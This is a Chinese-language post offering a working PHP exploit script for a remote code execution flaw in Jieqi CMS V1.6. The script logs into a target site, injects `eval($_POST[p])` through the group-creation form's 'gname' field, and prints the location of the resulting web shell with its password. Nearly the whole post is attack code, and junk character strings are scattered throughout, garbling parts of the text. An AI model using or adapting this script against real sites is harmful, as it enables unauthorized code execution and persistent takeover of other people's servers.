Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

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杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
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* _  W+ z" L1 [. }( K2 V该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
, }% Q7 P8 d. v% T7 F9 F* \ 需要有一个能创建圈子的用户。

, h5 ^9 i2 p  ^/ x7 D; u<?php

. ?! q6 X1 f0 S( @2 p# U& g; w: `print_r('
6 i' ]% H* z# i7 H0 e5 L9 j; {+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
+ s* b5 K$ P& ?8 R. a) O6 Hby flyh4t
; O. }) S0 d, M9 {" `6 J' T8 Mmail: phpsec at hotmail dot com
team: http://www.wolvez.org
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+ r2 z( V, O7 G! Z# |'); /**
2 }* U' f! U2 X; U5 n' l# T6 |2 d. b * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
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Usage: php '.$argv[0].' host path username
3 K3 Q8 J$ @8 _* e  Rhost:      target server (ip/hostname)
path:      path to jieqicms
, ~* y8 w6 H* g0 ~+ _* _# W% q+ q+ k* Ruasename:  a username who can create group
Example:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
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'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
/ c5 D6 s( _4 @% y2 O: lContent-Disposition: form-data; name="gname"

  M6 X& {' @6 R9 X* G( M/ ^'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
3 Q2 b/ q6 Q, ?- ]; o7 i-----------------------------23281168279961
  R0 x4 ^, R' [3 m  J" \' xContent-Disposition: form-data; name="gcatid"
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6 O$ A, n. t$ U9 y6 g( {2 h3 E& X-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"

; J8 Y; Y% o* Z, Y1
-----------------------------23281168279961
  t# p- K6 b2 e$ Z! s. wContent-Disposition: form-data; name="gbrief"

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7 C# E9 f: P3 Q* F5 A6 B-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

0 ^/ ~" n/ g! a- ]preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;